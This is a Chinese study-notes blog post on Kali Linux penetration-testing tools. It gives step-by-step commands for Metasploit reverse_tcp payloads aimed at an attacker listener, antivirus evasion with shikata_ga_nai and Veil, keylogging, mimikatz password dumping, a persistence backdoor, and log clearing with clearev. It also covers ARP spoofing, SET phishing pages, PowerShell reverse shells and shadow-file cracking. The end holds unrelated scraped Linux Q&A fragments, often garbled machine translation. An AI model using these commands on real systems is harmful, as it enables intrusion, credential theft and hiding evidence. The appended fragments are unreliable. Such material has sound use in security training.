【Kali】kali主要工具使用说明(文末附超全思维导图)

2023-11-09

本文为《从实践中学习Kali Linux渗透测试》总结笔记,仅供学习使用,禁止用于非法用途,转载请附上原文链接!

1. 信息收集

1.1 发现主机

traceroute

获取目标主机的路由条目,确定网络拓扑。每一跳表示一个网关,星号可能为防火墙导致。
在这里插入图片描述

1.1.1 扫描主机

① nmap
nmap -sP ip/ip段

对目标主机实施ping扫描,探测主机是否在线
也可以通过其他语法,扫描主机开放端口、使用的操作系统等
在这里插入图片描述

② Netdiscover

ARP侦查工具,可以扫描IP地址,检查在线主机。

netdiscover -r CIDR格式

1.1.2监听发现主机

① ARP监听

ARP请求广播到网络上所有主机,发现活动主机。
Netdiscover被动模式实施监听。

netdiscover -p

在这里插入图片描述

② DHCP监听

Nmap的broadcast-dhcp-discover脚本实施DHCP监听来发现主机

nmap --script broadcast-dhcp-discover 

1.2 域名分析

域名详细信息、子域名、服务器地址等

1.2.1 域名基础信息

① whois

域名注册状态、注册商、所有者等

whois 域名

在这里插入图片描述

② dmitry

一体化信息收集工具,收集whois主机ip和域名信息等。

dmitry -w 域名

在这里插入图片描述

1.2.2 查找子域名

dmitry 域名

通过谷歌,需要使用vpn(通过proxychains)

在这里插入图片描述

1.2.3 发现服务器

确定域名对应的ip地址

① dnsenum工具

域名信息收集工具,通过谷歌或字典猜测可能存在的域名,并且反向查询网站的主机地址、域名服务器、邮件交换记录等。

dnsenum -w 域名

在这里插入图片描述

② nslookup

dns服务器检测和排错的工具,查询域名解析是否正常。

nslookup 域名
③ ping

检查网络是否连通

ping 目标

1.3 扫描端口

扫描端口,发现目标主机中运行的程序。

① nmap
nmap -p 端口范围 目标

在这里插入图片描述

② dmitry
dmitry -p 目标

在这里插入图片描述

1.4 识别操作系统

针对性的对系统程序实施漏洞探测。

1.4.1 基于TTL识别

TTL,生存时间,IP被路由器丢弃之前允许通过的最大网段,不同操作系统不同TTL值。UNIX-255,Windows XP-128,Linux-64,不准确。
使用ping得到ttl值

1.4.2 使用NMAP识别

nmap -O 目标

在这里插入图片描述

结果有时不准确。

1.5 识别服务

服务版本信息,旧版本可能存在漏洞。

1.5.1 Nmap

nmap -sV 目标

在这里插入图片描述

1.5.2 Amap工作

识别网络服务的渗透测试工具集,包括amapamapcrap两个工具,amap尝试识别非常用端口上运行的程序,amapcrap发送触发数据包,在响应字符串列表中查找响应来识别非ASCII编码的应用程序。

1.6 收集服务信息

特殊服务可以提供额外的信息,利用方法。

1.6.1 SMB服务

服务器共享

smbclient -L IP -U 用户名

1.6.2 SNMP服务

简单网络管理协议,获取主机信息。

snmp-check 目标

可获取系统信息(主机名、操作系统类型及架构)、用户账户信息、网络信息(TTL值、TCP段和数据元)、网络接口信息(接口状态、速率、IP地址和子网掩码)、网络IP信息、路由信息(目标地址、下一跳地址、子网掩码和路径长度值)、监听的TCP端口、UDP端口、网络服务信息(分布式组件对象模型、DHCP客户端、DNS客户端等)、进程信息、存储信息、文件系统信息、设备信息、软件组件信息等。

1.7 信息分析整理

Maltego,信息收集工具,信息可视化。
需要到官网注册并且使用外网,类似画拓扑图的软件。
在这里插入图片描述

2.扫描漏洞

验证目标系统可能存在的危害。

2.1 漏洞概述

2.1.1 人为的不当配置

① 弱密码
changeme -a 目标

探测目标是否使用默认密码(新版本中已移除该工具)

② 权限设置错误

使用低权限进行高权限操作

2.1.2 软件漏洞

Intel软件漏洞、str2-045远程代码执行漏洞

2.1.3 硬件漏洞

常存在于硬件设备或芯片中,CPU漏洞等。

2.2 Nessus扫描漏洞

① 官网下载安装包(kexueshangwang)

https://www.tenable.com/downloads/nessus?loginAttempted=true

在这里插入图片描述

② 安装

dpkg -i Nessus-10.1.2-debian6_amd64.deb

③启动

/bin/systemctl start nessusd.service

④激活Nessus服务

https://www.tenable.com/products/nessus/activation-code
Nessus Essentials 注册,在邮箱中接收激活码
kali中访问https://kali:8834/

跳过注册,直接输入激活码,注册一个账号,等待下载。
(注:下载失败,可通过命令下载,结合代理
find / -name nessuscli
proxychains /opt/nessus/sbin/nessuscli update
然后重新启动nessus,刷新网页)
在这里插入图片描述

2.3 使用OpenVAS扫描漏洞

开放式漏洞评估系统。需要额外安装。

apt-get install opevas -y

自行了解,不再赘述。

2.4 其他发现方式

检查配置、三方查找等。

2.4.1 检查linux配置

远程桌面端口、弱密码、web服务SQL注入、FTP服务匿名用户权限…
unix-privesc-check是kali自带的提权漏洞检测工具。可检测各类文件的读写权限。

unix-privesc-check standard或detailed(详细模式)

在这里插入图片描述

2.4.2 查找漏洞信息

官网漏洞信息、CVE和微软漏洞网站。

3. 漏洞利用

利用程序漏洞获取计算机控制权。

3.1 Metasploit

开源的安全漏洞检测软件,包括了智能开发、代码审计、web应用程序扫描和社会工程等各项功能。

3.1.1 概述

强大之处在于提供了大量的渗透测试模块和插件。7种类型,Exploits(渗透攻击模块)、Auxiliary(辅助模块)、Post(后渗透攻击模块)、Payloads(攻击载荷模块)、Encoders(编码器模块)、Nops(空指令模块)、Evasion(规避模块)。

① 渗透攻击模块

利用发现的漏洞或配置进行攻击,植入载荷,获取控制权。
主动渗透攻击(主动连接请求)、被动渗透攻击(构造恶意内容诱骗触发)

② 辅助模块

扫描检测、虚假服务收集密码和口令猜测、拒绝服务攻击等

③ 后渗透模块

取得远控权限后,获取敏感信息、进一步拓展、跳板攻击等

④ 攻击载荷模块

渗透成功后促使目标系统运行的植入代码,通常作用是打开目标系统的控制会话连接。
分为Single(独立)、Stager(传感器)、Stage(传输体)3种。
-Single:完全独立的payload,可能会被netcat等捕获;
-Stager:负责建立网络连接,下载额外的组件或应用程序,常见的有reverse_tcp,可建立tcp连接,让目标系统主动连接攻击者的端口。还有一种是bind_tcp,可以让目标系统开启一个TCP监听器,随时可通信。
-Stage:传感器下的一种组件,提供更高级的功能,没有大小限制。

⑤ 空指令模块

对程序运行状态不会造成实质影响的空操作或无关操作指令。如X86 CPU体系操作码是0x90。构造恶意数据缓冲区时,常在Shellcode之前加一段空指令区,触发攻击后跳转执行有一个较大的安全着陆区,避免受到内存地址随机化及返回地址计算偏差等原因造成执行失败,提供渗透可靠性。

⑥ 编码模块

攻击载荷和空指令模块组装完成为指令序列后,运行之前还需要进行编码。一是确保不会出现坏字符,二是免杀处理。

⑦ 规避模块

规避windows自带的防火墙,对系统实时监控。

⑧ 插件

扩展框架功能,可集成Nessus、OpenVAS等。

3.1.2 Metasploit界面

提供图形界面和终端模式。

① Metasploit的图形界面Armitage

java编写的图形化攻击软件。
由于作者不再更新,2021新版kali已移除该程序。
在这里插入图片描述

② Metasploit的终端Msfconsole

最为流行的用户接口,功能最丰富,支持最好的工具之一。
启动:

msfconsole

在这里插入图片描述

3.1.3 初始化Metasploit

kali中metasploit主要使用postgreSQL存储,所以需启动PostgreSQL,并且初始化。

service postgresql start
msfdb init

(注:已经初始化metasploit会提示数据库已经配置)

3.1.4 创建工作区

区分不同的扫描任务,保存不同的信息。

msf6>workspace -a 名称 #新建工作区
msf6>workspace 名称  #切换当前工作区
msf6>workspace -v #查看工作区信息

在这里插入图片描述
在这里插入图片描述

3.1.5 导入扫描报告

可以导入一些第三方的扫描报告,如openvas.xml

db_import 文件名

3.2 查询渗透测试模块

主要使用渗透测试模块,也可以导入第三方模块。

3.2.1 预分析扫描报告

导入扫描报告,分析,找出目标系统漏洞。

msf6>hosts #查看主机信息
msf6>vulns #查看漏洞信息

在这里插入图片描述

3.2.2 手动查找攻击载荷

msf6>search 选项 关键字

-h 帮助 -o 文件 指定输出文件 -S string 指定搜索的字符串 -u 指定搜索模块

msf6>search cve:2019 #查找cve为2019年的漏洞模块
msf6>search  name:MS17-010 #查找名字
msf6>use exploit/windows/smb/ms17_010_eternalblue  #使用该攻击模块

在这里插入图片描述
在这里插入图片描述

3.2.3 第三方查找

① CVE网站查找
② exploitDB漏洞网站查找
③ 手动导入第三方模块

3.3 实施攻击

3.3.1 使用攻击载荷

msf6 >set payload payload名称
msf6 >show payload #查看可加载的payload

3.3.2 配置攻击载荷

加载攻击载荷后,需要进行配置。

msf6 > show options #查看可配置选项
例. 生成win7木马
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 192.168.0.109  #这里的地址设置成我们刚才生成木马的IP地址
msf6 > set lport 9999          #这里的端口设置成刚才我们生成木马所监听的端口
msf6 > exploit                #开始执行漏洞,开始监听,等待 Win 7主机上线

在这里插入图片描述

3.3.3 设置架构

一些模块可支持多个系统架构,一般默认会自动的。

msf6 > show targets #查看该模块支持所有目标架构
msf6 > set target [id] #设置架构编号

3.3.4 设置编码

避免出现坏字符或被防火墙拦截,可为载荷编码。
主要使用msfvenom工具,是MSF配套的攻击载荷生成器。
-p 指定payload;-e 指定编码格式;-a 指定系统架构,默认x86;-s指定payload最大值;-i 指定编码次数;-f 指定生成文件格式。

msfvenom -l encoders #查看支持的所有编码
msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.0.109 --platform windows -a x86 -e x86/shikata_ga_nai -f exe > msf.exe

在这里插入图片描述

3.4 控制Meterpreter会话

成功渗透后,获取到Meterpreter会话,可以利用命令获取主机更多信息或控制主机,如关闭杀软、键盘捕获、屏幕截图、提升权限及创建账户等。

3.4.1 关闭杀软

meterpreter >run killav

3.4.2 获取主机详细信息

meterpreter >sysinfo
meterpreter >run scraper

3.4.3 检查是否运行在虚拟机

meterpreter >run post/windows/gather/checkvm

3.4.4 访问文件系统

和linux相同,支持pwd、ls、rm、cd、mkdir等命令

3.4.5 上传/下载文件

meterpreter >download file
meterpreter >upload file

3.4.6 键盘捕获

meterpreter >keyscan_start
meterpreter >keyscan_dump
meterpreter >keyscan_stop

3.4.7 屏幕截图

meterpreter >screenshot

3.4.8 枚举用户

meterpreter >run post/windows/gather/enum_logged_on_users

3.4.9 权限提升

meterpreter >getuid #查看当前用户权限
meterpreter >getsystem #提权

3.4.10 获取用户密码

① hashdump
meterpreter >hashdump

需要进一步破解才能得到真的密码。

② mimikatz

针对32位系统。

meterpreter >load mimikatz
meterpreter >help mimikatz
meterpreter >mimikatz_command -f sekurlsa::wdigest -a "full"
meterpreter >msv # 获取哈希密码
meterpreter >wdigest # 获取登录过用户存储在内存的明文密码

3.4.11 绑定进程

Meterppreter可以单独运行也可以与进程进行绑定,实现持久化。

meterpreter >ps #查看当前系统中运行的进程
meterpreter >getpid #查看当前进程的ID
meterpreter >migrate 指定绑定进程ID
3.4.12 运行程序

使用execute命令在目标系统中执行应用程序。

meterpreter >execute [选项] -f 命令

-H 创建一个隐藏进程;-a 传递给命令的参数;-i 跟进程进行交互;-m 从内存中执行;-t 使用当前伪造的线程令牌运行进程;-s 在给定的会话中执行进程。

meterpreter >execute -s 1 -f cmd
3.4.13 启用远程桌面
meterpreter >run post/windows/manage/enable_rdp
meterpreter >idletime # 检查远程用户的空闲时长

使用hashdump命令和mimikatz模块等获取用户和密码。
在kali中远程桌面:

rdesktop 目标IP

3.4.14 持久后门

Meterpreter是基于内存DLL建立的连接,所以目标断开则连接会断开,因此需要持久后门,开机时会主动连接。

meterpreter >run persistence -X -i <opt> -p <opt> -r <opt>

-X 系统启动后自动启动代理;-i 设置每个连接尝试的时间间隔,单位为秒;-p 指定Metasploit监听的端口;-r 指定反向连接运行Metasploit的IP地址,即攻击机地址。
建立后门后,还需要本地建立监听:

meterpreter >use exploit/multi/handler
meterpreter >set payload windows/meterpreter/reverse_tcp
meterpreter >set LHOST 本机IP
meterpreter >set LPORT 本机端口
meterpreter >exploit

3.4.15 清除踪迹

侵入后所有操作都会记录在系统日志文件中,所以需要清理。

meterpreter >clearev

3.4.16 搭建跳板

利用一台已经攻陷的主机作为跳板,渗透网络中其他主机,可用于一些不可访问的网络环境。
查看meterpreter会话,当前攻击IP与目标IP不在同一子网则需要添加路由;

meterpreter >run get_local_subnets #查看目标系统上的子网
meterpreter >background #将会话放到后台运行
msf6 exploit(handler) > route add [子网] [掩码] [会话ID]
msf6 exploit(handler) > route print #查看添加的路由条目

以上为手动,自动化操作:

msf6 exploit(handler) > load auto_add_route
msf6 exploit(handler) > exploit

3.5 免杀payload攻击

使用Veil Evasion工具生成绕过杀软的攻击载荷。

3.5.1 安装VE

kali中没有自带,需单独安装:

apt-get install veil-evasion -y
veil #启动工具,y继续,安装各种环境

3.5.2 生成免杀payload

veil #启动
Veil >:use Evasion #使用Evasion工具
Veil >:list #查看支持的payload
Veil >:use 攻击载荷
Veil >:set LHOST IP地址
Veil >:generate #生成

也可使用命令行模式:

veil -t Evasion -p 载荷名称 --ip IP地址 --port 端口号

生成载荷后,本地建立监听器。

4. 嗅探欺骗

没有漏洞可利用时,可对模板主机进行欺骗,获取网络中传输的数据进行分析,常见的是中间人攻击。

4.1 中间人攻击

4.1.1 常见中间人攻击

多为ARP欺骗(冒充网关或其他主机转发流量获取信息)和DNS欺骗。

4.1.2 实施中间人攻击

① arpspoof工具

专业ARP欺骗工具,可直接欺骗网关。

arpspoof 选项 host

-i 使用的接口;-t 目标 制定欺骗的目标,默认为所有主机;-r 双向欺骗,与-t一起使用;host 拦截包的主机,通常是本地网关。
攻击步骤:

echo 1 > /proc/sys/net/ipv4/ip_forward #开启路由转发
ifconfig #查看主机IP
arp #查看ARP缓存表

查看目标系统的IP和ARP缓存表,确定攻击机和目标主机没有任何通信,此时这两台主机通信就可实施ARP攻击。

arpspoof -i 网口名 -t 目标机 #对目标主机实施arp欺骗
arpspoof -i 网口名 -t 网关 目标机 #对网关实施arp欺骗
也可使用一条命令同时进行arp攻击:
arpspoof -i 网口名 -t 目标机 -r 网关
arp # 再次查看,发现网关与攻击机MAC地址相同,则为成功arp欺骗
② Ettercap工具
ettercap -G #启动工具

选择Sniff|Unified sniffing #启动嗅探,选择接口
选择Hosts|Scan for hosts #启动扫描主机
选择Hosts|Hosts list #查看主机列表
选择两台主机Add to Target1和Target2,选择Start|Start sniffing
选择Mitm|ARP poisoning… #启动ARP注入攻击,选Sniff remote connections
攻击成功,可捕获到数据
选择Start|Stop sniffing #关闭嗅探
选择Mitm|Stop mitm attack(s) #关闭中间人攻击

也可使用命令行模式

ettercap 选项 目标1 目标2

-i 选择网口,默认为第一个;-M,–mitm METHOD:ARGS执行中间人攻击,remote表示双向,oneway表示单项;-T,–text 使用文本模式;-q,–quiet 不显示包内容;-P 插件名 加载的插件。

ettercap -Tq -M arp:remote IP1 IP2

4.2 社会工程学

利用人性的好奇、信任、贪婪等,攻击人自身的弱点。

4.2.1 社工工具包SET

setoolkit  #输入y确认
set>1 #选择社工攻击

在这里插入图片描述
在这里插入图片描述

4.2.2 Web攻击向量

构造一些具有诱惑力的网页,诱导访问。

setoolkit 
set > 1
set > 2 #选择Web攻击向量
set:webattack>3  #选择证书获取攻击方法
set:webattack>1 #选择网站生成方式,选择默认模板

输入网站IP地址,输入本机kali地址

set:webattack> Select a template:2 #选择网站模板

成功生成伪造站点,此时可结合DNS欺骗(Ettercap工具中的dns_spoof插件)来诱骗用户到伪站点。

4.2.3 PowerShell攻击向量

创建一个PowerShell文件发送给目标执行,可获取一个反向远程连接。
①工具菜单选择编号9) Powershell Attack Vectors

set:powershell>1 #选择含字符和数字的Shellcode注入

②设置攻击机IP地址和回连端口,yes开启监听
在这里插入图片描述

在/root/.set/reports/powershell/找到x86_powershell_injection.txt文本文件,该文件则可运行PowerShell。
③将文件内容复制到目标机DOS下运行,或者后缀改为.bat,双击运行;
④在攻击机查看会话

msf6 > sessions
msf6 > sessions -i 会话ID #启动该会话

4.3 捕获和监听网络数据

4.3.1 wireshark

中间人攻击成功后,开启wireshark捕获对应网口的流量。

4.3.2 捕获图片

实施中间人后,使用driftnet来捕获图片,与Ettercap工具结合使用,可捕获目标主机浏览的所有图片。

driftnet -i 网口名称 -d 路径

4.3.3 监听HTTP数据

使用Ettercap实施中间人攻击后,即可监听到访问HTTP网站的数据。

4.3.4 监听HTTPS数据

使用SSLstrip工具监听HTTPS数据。

4.3.5 网络数据快速分析

Xplico可快速找出用户请求的网页地址、图片和视频等内容。
kali默认未安装。

5. 密码攻击

5.1 创建字典

收集信息并分析,创建一个合理的密码字典用于攻击。

5.1.1 密码信息收集

相关邮箱、网站博客、文章、单位名称、人员名称、生日信息、名字缩写等。

5.1.2 密码策略分析

系统对密码设置的限制,不能仅数字、连续英文或数字等策略。

① 软件/系统固有策略

创建密码时,提醒的密码长度和复杂度最低要求。

② 加固策略

查看windows组策略等。

③ 分析已有密码字典策略

根据已有密码分析字符出现概率、位置分布和前后关系,结合生成密码字典。
可使用Stasprocessor工具(需自行安装)以供分析:

statsgen 密码文件.txt

5.1.3 生成字典

① Crunch

按照制定的规则生成密码字典。

② rsmangler

基于单词列表关键字生成字典。

③ rtgen

生成彩虹表(针对各种可能字母组合和预先计算好哈希值的集合)。

5.2 破解哈希密码

5.2.1 识别哈希加密方式

hashid 哈希密码

5.2.2 破解LM Hashes密码

LM Hash是windows最早使用的密码哈希算法之一。
使用findmyhash工具破解:

findmyhash 算法类型 选项

5.2.3 直接使用哈希密码值

特定漏洞可直接使用哈希密码值,使用exploit/windows/smb/psexec渗透测试模块。

5.3 借助Utilman绕过Windows登录

Utilman是windows辅助工具管理,没有用户登录也可调用Utilman进程。

5.4 路由器密码破解

控制路由器很容易对连接该路由器主机实施各种数据嗅探和欺骗攻击。

5.4.1 路由器初始密码

使用初始密码破解。

5.4.2 使用Medusa工具

开源暴力密码破解工具,可破解FTP、HTTP、IMAP和MYSQL等密码。

5.5 破解Linux用户密码

linux中很多操作都需要root,普通用户的会话无法提权基本没用。
密码散列保存在/etc/shadow中,需要破解得到原始密码。
破解之前还需要/etc/passwd文件,保存了用户基本信息,如用户名称、宿主登录和登录shell等。
破解流程:

cp /etc/passwd /etc/shadow /root/
unshadow passwd shadow > cracked #将内容提取保存在cracked目录中
john --wordlist=/usr/share/john/password.lst cracked #使用john工具和字典破解

在这里插入图片描述

6. 无线网络渗透

无线网络数据以广播的方式,引起了安全问题。

以下为思维导图:
kali

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【Kali】kali主要工具使用说明(文末附超全思维导图) 的相关文章

  • 在我的 index.php 中加载 CSS 和 JS 等资源时出现错误 403

    我使用的是 Linux Elementary OS 并在 opt 中安装了 lampp My CSS and JS won t load When I inspect my page through browser The console
  • ftrace:仅打印trace_printk()的输出

    是否可以只转储trace printk 输出于trace文件 我的意思是过滤掉函数跟踪器 或任何其他跟踪器 中的所有函数 一般来说 您可以在选项目录中关闭选项 sys kernel debug tracing options Use ls显
  • 在脚本内使用不带密码的 sudo

    由于某种原因 我需要作为用户在没有 sudo 的情况下运行脚本 script sh 该脚本需要 root 权限才能工作 我认为将 sudo 放入 script sh 中是唯一的解决方案 让我们举个例子 script sh bin sh su
  • 如何使用 GOPATH 的 Samba 服务器位置?

    我正在尝试将 GOPATH 设置为共享网络文件夹 当我进入 export GOPATH smb path to shared folder I get go GOPATH entry is relative must be absolute
  • 如何在 Bash 中给定超时后终止子进程?

    我有一个 bash 脚本 它启动一个子进程 该进程时不时地崩溃 实际上是挂起 而且没有明显的原因 闭源 所以我对此无能为力 因此 我希望能够在给定的时间内启动此进程 如果在给定的时间内没有成功返回 则将其终止 有没有simple and r
  • 按进程名称过滤并记录 CPU 使用情况

    Linux 下有选项吗顶部命令 https www man7 org linux man pages man1 top 1 html我可以在哪里按名称过滤进程并将每秒该进程的 CPU 使用情况写入日志文件 top pgrep 过滤输出top
  • 需要一些建议来开始在 ARM(使用 Linux)平台上编程

    我 也许 很快就会在托管 Linux 发行版的 ARM 平台上工作 我不知道哪个发行版 我知道该项目涉及视频流 但我无法告诉你更多信息 其实我只收到通知 还没见到任何人 我从来没有在这样的平台上工作过 所以我的想法是在项目开始之前进行测试
  • waitpid() 的作用是什么?

    有什么用waitpid 它通常用于等待特定进程完成 或者如果您使用特殊标志则更改状态 基于其进程 ID 也称为pid 它还可用于等待一组子进程中的任何一个 无论是来自特定进程组的子进程还是当前进程的任何子进程 See here http l
  • 使用 Grep 查找两个短语之间的文本块(包括短语)

    是否可以使用 grep 来高亮所有以以下内容开头的文本 mutablePath CGPathCreateMutable 并以以下内容结尾 CGPathAddPath skinMutablePath NULL mutablePath 这两个短
  • 确定我可以向文件句柄写入多少内容;将数据从一个 FH 复制到另一个 FH

    如何确定是否可以将给定数量的字节写入文件句柄 实际上是套接字 或者 如何 取消读取 我从其他文件句柄读取的数据 我想要类似的东西 n how much can I write w handle n read r handle buf n a
  • Fortran gfortran linux 中的“分段错误(核心转储)”错误

    我正在创建一个程序 该程序将分析目录中的文件 fits 然后它将在另一个目录中创建另一个文件 txt 它只是一个转换器 当我尝试执行该程序 编译正常 时 它给了我一条错误消息 程序收到信号 SIGSEGV 分段错误 无效的内存引用 此错误的
  • 在 Mac OSX 上交叉编译 x86_64-unknown-linux-gnu 失败

    我尝试将我的 Rust 项目之一编译到 x86 64 unknown linux gnu 目标 cargo build target x86 64 unknown linux gnu Compiling deployer v0 1 0 fi
  • 捕获实时流量时如何开启纳秒精度?

    如何告诉 libpcap v1 6 2 将纳秒值存储在struct pcap pkthdr ts tv usec 而不是微秒值 捕获实时数据包时 Note This question is similar to How to enable
  • Capistrano 3 部署无法连接到 GitHub - 权限被拒绝(公钥)

    我使用 Capistrano v3 和 capistrano symfony gem 设置了以下部署脚本 我正在使用 Ubuntu 14 4 部署到 AWS EC2 实例 我正在连接从 AWS 下载的 pem 文件 我的deploy rb中
  • git 错误:无法处理 https

    当我尝试使用 git clone 时https xxx https xxx我收到以下错误我不处理协议 https 有人可以帮我吗 完整消息 dementrock dementrock A8Se git 克隆https git innosta
  • Python 脚本作为 Linux 服务/守护进程

    Hallo 我试图让 python 脚本作为服务 守护进程 在 ubuntu linux 上运行 网络上存在多种解决方案 例如 http pypi python org pypi python daemon http pypi python
  • 后台分叉无法正常工作[重复]

    这个问题在这里已经有答案了 我运行这个程序 在前景和背景中 int main int pid printf App Start pid d n getpid while 1 pid fork if pid 0 printf Child n
  • 如何从 PROC 获取有关子进程的信息

    我正在尝试编写一个以几个进程作为参数的程序 然后父进程执行每个子进程并打印出一些相关的统计信息 示例 generate ls l 将生成一个程序 打印出有关 ls l 的一些统计信息 特别是其系统时间 用户时间和上下文切换次数 我不想使用
  • Fedora dnf 更新不起作用?

    当我尝试使用 update 命令更新 Fedora 22 时 sudo dnf update 我收到以下错误 错误 无法同步存储库 更新 的缓存 无法准备内部镜像列表 Curl 错误 6 无法解析主机名 无法解析主机 mirrors fed
  • PyPI 上的轮子平台约束有什么限制吗?

    是否有任何地方 PEP 或其他地方 声明关于 Linux 轮子上传范围的限制 PyPI http pypi io 应该有 具体来说 上传是否被认为是可接受的做法linux x86 64轮子到 PyPI 而不是manylinux1 x86 6

随机推荐

  • IEEE Transactions模板中参考文献作者缩写、期刊名缩写

    IEEE Transactions模板中参考文献作者缩写 期刊名缩写 本文章记录如何在IEEE Transactions的模板中 解决参考文献的作者缩写 期刊名字缩写的问题 目录 IEEE Transactions模板中参考文献作者缩写 期
  • python爬虫一:爬虫简介

    1 什么是爬虫 络爬 被称为 蜘蛛 络机器 就是模拟客户端发送 络请求 接收请求响应 种按照 定的规则 动地抓取互联 信息的程序 只要是浏览器能做的事情 原则上 爬 都能够做 可见即可爬 1 1爬虫有哪些用途 为其他数据提供数据源 像AI人
  • 数据挖掘的特点

    数据挖掘具有以下几个特点 1 基于大量数据 并非说小数据量上就不可以进行挖掘 实际上大多数数据挖掘的算法都可以在小数据量上运行并得到结果 但是 一方面过小的数据量完全可以通过人工分析来总结规律 另一方面来说 小数据量常常无法反映出真实世界中
  • kettle运行spoon.bat时找不到javaw文件

    我也遇到这问题了 分享一下解决方法吧以后没准还有人能用到 我机器的主要问题是环境变量JAVA HOME的值不对 应该写到jdk也就是C Program Files Java jdk1 7 0 25 并且 改完后要重启机器才行 这个很重要
  • DNS服务器的安装与配置

    一 DNS服务器的安装 步骤1 选择 开始 控制面板 添加或删除程序 添加 删除Windows组件 然后选取 网络服务 组件 再单击详细信息按钮 步骤2 选取 域名系统 DNS 组件后单击 确定 按钮 步骤3 回到前一个画面后 单击 下一步
  • vscode远程开发及公钥配置(告别密码登录)

    文章目录 vscode远程开发及公钥配置 简介 关于远程开发官网简介 关于SSH简介 环境 插件安装 配置服务器 找到配置文件 修改配置文件 连接服务器 配置密钥 简介 密钥生成 服务器上安装公钥 查看或配置打开密钥登录功能 服务器私钥复制
  • SSL/TLS 双向认证(一) -- SSL/TLS 工作原理

    本文部分参考 https www wosign com faq faq2016 0309 03 htm https www wosign com faq faq2016 0309 04 htm http blog csdn net hher
  • 四川计算机专业高职高考,四川职高计算机专业分数线

    类似问题答案 2016年贵州大学计算机类专业在四川录取分数线 学校 地 区 专业 年份 批次 类型 分数 贵州大学 四川 计算机类 2016 一批 理科 597 学校 地 区 专业 年份 批次 类型 分数 贵州大学 四川 计算机类 2016
  • 【华为OD统一考试B卷

    在线OJ 已购买本专栏用户 请私信博主开通账号 在线刷题 运行出现 Runtime Error 0Aborted 请忽略 华为OD统一考试A卷 B卷 新题库说明 2023年5月份 华为官方已经将的 2022 0223Q 1 2 3 4 统一
  • 分布式数据库核心原理 Zookeeper+Mysql

    原文 作者 1菩提行者1 笔者一直做java开发 由于技术演进做过大型微服务项目 微服务即将一个大的服务拆分成一个一个小的微服务 每个微服务自成生态 而在落地过程中紧紧只是应用层拆分 数据层往往用同一个库 有点形变神不变 当然将微服务与其对
  • JavaScript如何截取指定位置的字符串

    我们在日常开发中 经常需要对字符串进行删除截取增加的操作 我们这次说一下使用JavaScript截取指定位置的字符串 一 使用slice 截取 slice 方法可以通过指定的开始和结束位置 提取字符串的某个部分 并以新的字符串返回被提取的部
  • MIPI介绍(CSI DSI接口)

    MIPI介绍 CSI DSI接口 MIPI介绍 CSI DSI接口 视频接口 2 MIPI Solution mipi接口 缘来是你远去是我的博客 CSDN博客 MIPI LVDS RGB HDMI等接口对比 mipi和lvds区别 芒果5
  • socket编程

    socket 可以看做用户进程与内核网络协议栈的编程接口 可以用于本机进程间 网络上不同主机进程间的通信 对等通信 是全双工的 socket 异构系统 所以需要统一字节序统一后的字节序为大端字节序 x86为小端字节序 字节序转换函数 可以看
  • vsCode插件安装之汉化和浏览器打开

    一 汉化的方法 点击最左面第五个图标 在搜索框里面输入Chinese 点击如图第一个内容 点击Install 安装 安装后 重启软件即可 二 浏览器打开html 文件方法 在安装插件窗口搜索Browser 点击如图内容 点击install安
  • SpringBoot(十)SpringBoot自定义starter

    一个月的时间 转眼已经到了我的SpringBoot系列的第十篇文章 还记得我的第二篇文章SpringBoot 二 starter介绍 springboot的starter heart荼毒的博客 CSDN博客 曾经介绍过starter sta
  • mmdetection训练自己的VOC数据集 label=self.cat2label 报错解决方案

    废话不多说 直接上报错的图 看了GitHub上的大佬的回答 报错的原因是self cat2label值不对 所以根据大佬的建议 我print了self cat2label值 发现果然不对 类还是VOC数据集的类 而不是我自己的类 我的类是
  • ARM下高效C编程

    通过一定的风格来编写 C 程序 可以帮助 C 编译器生成执行速度更快的 ARM 代码 下面就是一些与性能相关的关键点 1 对局部变量 函数参数和返回值要使用 signed 和 unsigned int 类型 这样可以避免类型转换 而且可高效
  • 猫狗数据集

    import numpy as npimport pickleimport cv2import pandas as pdimport tensorflow as tfimport matplotlib pyplot as plt mnist
  • 干货!如何用Python处理图像,一文带你了解!

    大家好 我是菜鸟哥 用Python玩图像处理还是很有意思的 我们以前写过很多这样的文章 学Python真香 我用100行代码做了个网站 帮人PS旅行图片 赚个鸡腿吃 十行代码 我用Python做一个迷你版的美图秀秀 十行Python代码替换
  • 【Kali】kali主要工具使用说明(文末附超全思维导图)

    本文为 从实践中学习Kali Linux渗透测试 总结笔记 仅供学习使用 禁止用于非法用途 转载请附上原文链接 1 信息收集 1 1 发现主机 traceroute 获取目标主机的路由条目 确定网络拓扑 每一跳表示一个网关 星号可能为防火墙